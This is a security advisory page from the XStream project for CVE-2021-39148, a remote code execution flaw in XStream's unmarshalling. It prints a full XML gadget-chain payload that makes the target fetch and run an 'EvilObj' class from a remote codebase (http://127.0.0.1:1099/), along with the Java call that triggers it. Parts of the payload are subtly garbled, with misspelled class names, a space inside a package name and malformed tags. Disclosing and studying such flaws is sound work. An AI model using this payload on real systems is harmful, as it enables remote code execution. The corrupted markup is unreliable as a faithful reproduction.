



## Software

About XStream  
News  
Change History  
Security Aspects  
About Versioning

## Evaluating XStream

Two Minute Tutorial  
License  
Download  
References  
Benchmarks  
Code Statistics

## Using XStream

Architecture Overview  
Object references  
Tweaking the Output  
Converters  
Frequently Asked Questions  
Mailing Lists  
Reporting Issues

## Javadoc

XStream Core  
Hibernate Extensions  
JMH Module

## Tutorials

Two Minute Tutorial  
Alias Tutorial  
Annotations Tutorial  
Converter Tutorial  
Object Streams Tutorial  
Persistence API Tutorial  
JSON Tutorial  
StudyTrails

## Developing XStream

How to Contribute  
Development Team  
Source Repository  
Continuous Integration

CVE-2021-39148

## Vulnerability

CVE-2021-39148: XStream is vulnerable to an Arbitrary Code Execution attack.

## Affected Versions

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup [XStream's security framework](#) with a whitelist limited to the minimal required types.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

## Steps to Reproduce

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<sorted-set>
  <javax.naming ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaaj.soap.ver1_1.MessageImpl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multipart class='com.sun.xml.internal.messaging.saaaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
                      <current>
                        <hash>1</hash>
                        <key class='javax.naming.Binding'>
                          <name>ysomap</name>
                          <isRel>false</isRel>
                          <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                            <refCtx class='javax.naming.spi.ContinuationDirContext'>
                              <cpe>
                                <stackTrace/>
                                <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                                  <c class='list'/?>
                                    <list reference='../c'/?>
                                      </suppressedExceptions>
                                      <resolvedObj class='javax.naming.Reference'>
                                        <className>EvilObj</className>
                                        <addr/>
                                        <classFactory>EvilObj</classFactory>
                                        <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                      </resolvedObj>
                                      <altName class='javax.naming.CompoundName' serialization='custom'>
                                        <javax.naming.CompoundName>
                                          <properties/>
                                            <int>1</int>
                                            <string>ysomap</string>
                                          </javax.naming.CompoundName>
                                        </altName>
                                      </cpe>
                                    </refCtx>
                                    <skipThisReferral>false</skipThisReferral>
                                    <hopCount>0</hopCount>
                                  </boundObj>
                                </key>
                              </current>
                              <currentBucket>0</currentBucket>
                              <count>0</count>
                              <threshold>0</threshold>
                            </list>
                          </children>
                          <currentReturned>true</currentReturned>
                          <currentChildExpanded>false</currentChildExpanded>
                          <rootProcessed>true</rootProcessed>
                        <scope>2</scope>
                      </aliases>
                    </it>
                  </mm>
                </multipart>
              </sm>
            </message>
          </value>
        </javax.naming ldap.Rdn_-RdnEntry>
      <javax.naming ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XString'>
          <m_obj class='string'>test</m_obj>
        </value>
      </javax.naming ldap.Rdn_-RdnEntry>
    </sorted-set>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.

## Workarounds

See [workarounds](#) for the different versions covering all CVEs.

## Credits

wh1t3p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the required information to reproduce it.